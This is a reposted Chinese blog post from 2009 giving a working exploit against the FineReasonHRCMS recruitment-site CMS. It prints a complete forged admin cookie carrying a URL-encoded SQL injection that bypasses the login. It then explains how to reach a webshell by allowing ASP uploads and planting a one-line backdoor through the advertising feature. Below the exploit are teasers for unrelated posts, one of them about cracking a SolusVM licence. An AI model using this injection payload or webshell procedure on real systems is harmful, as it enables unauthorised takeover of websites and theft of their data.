当前位置:首页 > 技术文章 > 正文内容

嘉缘人才系统漏洞

lcy2009-09-13技术文章999

转自:http://hi.baidu.com/crazyyxb

程序介绍:
FineReasonHRCMS(嘉缘人才系统),
是上海嘉挚网络科技发展有限公司于2004年推出的一款基于ASP+MSSQL开发的人才网站程序,
历经5年的开发历程,现升级至6.02版,拥有20000人才网站用户,
分为免费-标准-专业-企业-豪华等系列版本
面向广大政府,企业,职介行业提供全面的人才网站建设,管理,运营一体化解决方案.
利用方法:
使用Cookies浏览器访问后台地址,默认为admin/admin_login.asp,
将Cookies修改为以下内容:
ASPSESSIONIDSAATQRTD=LJDBGAJCFECBDGJOHEEHOINN; SuperAdmin=yes; admin%5Fpass=1111111111111111111111111111111; admin%5Fname=admin%27%20and%201%3D2%20union%20all%20select%201%2C2%2C%271111111111111111111111111111111%27%2C%271%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%27%2C%27manage%27%20from%20job_admin%20where%20%271%27%3D%271; admin%5Ftype=manage; admin%5Fflag=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10
修改后台路径为admin/admin_index.asp.
获取Webshell方法:
首先在网站配置处添加ASP文件上传类型,
然后到网站广告处添加广告,并上传一句话后门即可.
注:
貌似只能上传一句话后门,直接上传大马会提示上传文件类型不正确.
而且有些写法的一句话后门上传以后不能用连接端正常连接,
如果出现上传一句话后不能正常连接,请尝试更换其他写法的一句话后门.

 

版权声明:本文由cy's Blog发布,如需转载请注明出处。

本文链接:https://www.c3389.com/post/14.html

相关文章

SolusVM伪站授权破解

在LOC上看到了伪授权SolusVM,破天荒的竟然成功了。原作者有些没有解释清楚,这里解释一下,LOC上很多说路径未找到的,这不是解密授权文件,Ioncube只是理论上能解,但我找了很久也没有找到方法...

Mikrotik ROS脚本语法入门

ROS也可称为是Route Operation System,意为"软件路由器".一般认为用普通PC安装一套专用的路由器程序组成的系统称为软件路由器,PC电脑+免费的软件=专业的软...

禁止 VMWare 中系统自动同步时间

VMware Workstation虚拟机的时间锁定编辑虚拟机的.vmx文件,添加 tools.syncTime = "0" time.synchronize.continue =...

获取IP地址URL搜集

纯IPhttp://myip.ipip.net/s 纯IPcurl http://ns1.dnspod.net:6666 http://icanhazip.com/ http://icanh...

天翼云 探坑  云主机多网卡绑定弹性IP

天翼云 探坑 云主机多网卡绑定弹性IP

主机绑定多网卡问题现象:单云主机绑定多块同网段网卡后,只有主网卡地址通,其他地址地址不通;云主机绑定多个EIP后,只有绑定主网卡的EIP可以通讯;测试场景1、主机绑定同网段多块网卡2、主机绑定多个EI...

启用Windows中IP路由转发功能

     这几天一直有一个问题困扰中 vps 母机设置共享IP 但是小鸡老是卡的很 郁闷的问题好几天一直没好的解决办法 今天忽然想到以前香港机房的时候机房技术也做过路由转...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。